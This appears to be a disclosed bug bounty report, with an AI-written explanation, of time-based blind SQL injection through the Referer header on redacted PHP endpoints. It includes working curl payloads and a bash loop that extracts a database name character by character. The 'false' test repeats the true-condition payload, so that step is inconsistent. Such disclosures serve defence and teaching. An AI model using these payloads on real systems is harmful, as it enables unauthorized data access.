[████] SQL Injections on Referer Header exploitable via Time-Based method
The Referer header was vulnerable to SQL injection on multiple endpoints, allowing an attacker to execute arbitrary SQL queries. The report demonstrates time-based blind SQL injection to extract the database name.
- Triaged in 15 hours
- Fixed in 4 days
- Disclosed after 8 days
Summary: SQL Injections on Referer Header exploitable via Time-Based method Description: https://owasp.org/www-community/attacks/SQL_Injection
Impact
https://owasp.org/www-community/attacks/SQL_Injection
Step-by-step Reproduction Instructions
First, vulnerable points: https://███████/███████/library.php?alert= https://██████████/████████/Chart01.php?alert= https://████████/████/Chart02.php?alert= https://██████████/█████████/Chart03.php?alert= https://████/█████Prod.php?alert= https://██████████/█████systems.php?alert= https://█████████/██████████db.php?alert=
(Don't miss the alert GET parameter...)
Okay, let's check the SQLi... lets use time and curl with a true condition (1=1), if 1=1, then, the server sleep 20 seconds else nothing (I just wrote false to make it explicit for you):
time curl -s -H "Referer: '+(select*from(select(if(1=1,sleep(20),false)))a)+'" --url "https://████████/█████/Chart01.php?alert="
Okay..then.. let's check the response:
real 0m21,447s
user 0m0,029s
sys 0m0,000s```
The time is 21 seconds.. then.. let's update the if condition as false (1=2)
```time curl -s -H "Referer: '+(select*from(select(if(1=1,sleep(20),false)))a)+'" --url "https://████████/████████/Chart01.php?alert=" ```
Response:
```Thank you - you may close this window
real 0m1,806s
user 0m0,016s
sys 0m0,008s```
Hmm.. approx 2 seconds.. we have proof that's vuln.. let's try more..
I want the first character of the current database name..
let's go for it!:
```for i in {{a..z},{1..9}}; do echo "Testing $i char:"; time curl -s -H "Referer: '+(select*from(select(if(substring(database(),1,1)='$i',sleep(20),false)))a)+'" --url "https://████/██████/Chart01.php?alert="; done```
And there are only one-second answers from time except for the m!
Testing l char: Thank you - you may close this window real 0m1,321s user 0m0,028s sys 0m0,000s Testing m char: Thank you - you may close this window real 0m21,299s user 0m0,019s sys 0m0,010s Testing n char: Thank you - you may close this window real 0m1,331s user 0m0,016s sys 0m0,012s
Thanks for reading!
There is one of these injection points that is supposedly fixed at report #995122 (report disclosed, resolved.. but it's not..)
## Impact
https://owasp.org/www-community/attacks/SQL_Injection
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
What the attacker needed
Ability to send requests with custom Referer header; Access to the vulnerable endpoints
How it was found
- Identify endpoints with an 'alert' GET parameter.
- Send a request with a Referer header containing a time-based SQL injection payload that triggers a 20-second delay if a condition is true.
- Observe the response time: ~21 seconds for true condition, ~2 seconds for false condition.
- Use a loop to test characters and extract the first character of the database name by measuring response times.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
SQL injection is when user input is inserted into a database query without proper handling, letting an attacker change the query's meaning. Here, the Referer header (a browser-sent field) was used in a SQL query, and by sending a special value the attacker could make the database wait 20 seconds if a condition was true. This confirmed the vulnerability and allowed extracting data one character at a time.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.